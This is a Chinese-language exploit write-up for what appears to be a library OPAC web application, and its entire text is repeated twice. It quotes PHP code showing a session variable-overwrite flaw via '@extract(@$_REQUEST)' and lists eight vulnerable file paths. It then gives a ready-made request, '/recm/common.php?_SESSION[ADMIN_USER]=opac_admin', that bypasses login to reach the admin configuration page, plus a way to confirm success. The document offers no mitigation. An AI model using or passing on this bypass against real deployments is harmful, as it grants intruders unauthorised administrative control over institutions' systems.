### 登陆页面 ``` session_start( ); if ( isset( $_REQUEST['username'] ) ) { $strUser = trim( $_REQUEST['username'] ); $strInput = trim( $_REQUEST['passwd'] ); $strMsg = "用户名或者密码错误"; switch ( $strUser ) { case "opac_admin" : $strPassWd = $strPassWdFile; $strMsg = verify_pwd( $strInput, $strPassWd ); if ( $strMsg == true ) { $_SESSION['ADMIN_USER'] = $strUser; } $strUrl = "cfg_basic.php"; break; ``` ### 其他页面判断 ``` if ( !isset( $_SESSION['ADMIN_USER'] ) )//不为空就OK了、、、 { header( "Location:login.php" ); exit( ); } ``` ### 漏洞点(多个文件存在) ``` @extract( @$_REQUEST ); ``` ### 存在漏洞文件 ``` /recm/common.php /opac/openlink_ebk.php /opac/hw_center.php /opac/ajax_ebook.php /manual/common.php /calis/idp.php /calis/idp.noencode.php /top/top_custom.php ``` ### 利用方法 1. 访问存在漏洞文件,并覆盖 session 值 例如: ``` /recm/common.php?_SESSION[ADMIN_USER]=opac_admin ``` 2. 直接访问 `/admin/cfg_basic.php` ### 成功判断 访问 `/admin/cfg_basic.php` 文件获得`strSchoolName`、`aryBrowseClsShow`等标识字符串即为成功。
### 登陆页面 ``` session_start( ); if ( isset( $_REQUEST['username'] ) ) { $strUser = trim( $_REQUEST['username'] ); $strInput = trim( $_REQUEST['passwd'] ); $strMsg = "用户名或者密码错误"; switch ( $strUser ) { case "opac_admin" : $strPassWd = $strPassWdFile; $strMsg = verify_pwd( $strInput, $strPassWd ); if ( $strMsg == true ) { $_SESSION['ADMIN_USER'] = $strUser; } $strUrl = "cfg_basic.php"; break; ``` ### 其他页面判断 ``` if ( !isset( $_SESSION['ADMIN_USER'] ) )//不为空就OK了、、、 { header( "Location:login.php" ); exit( ); } ``` ### 漏洞点(多个文件存在) ``` @extract( @$_REQUEST ); ``` ### 存在漏洞文件 ``` /recm/common.php /opac/openlink_ebk.php /opac/hw_center.php /opac/ajax_ebook.php /manual/common.php /calis/idp.php /calis/idp.noencode.php /top/top_custom.php ``` ### 利用方法 1. 访问存在漏洞文件,并覆盖 session 值 例如: ``` /recm/common.php?_SESSION[ADMIN_USER]=opac_admin ``` 2. 直接访问 `/admin/cfg_basic.php` ### 成功判断 访问 `/admin/cfg_basic.php` 文件获得`strSchoolName`、`aryBrowseClsShow`等标识字符串即为成功。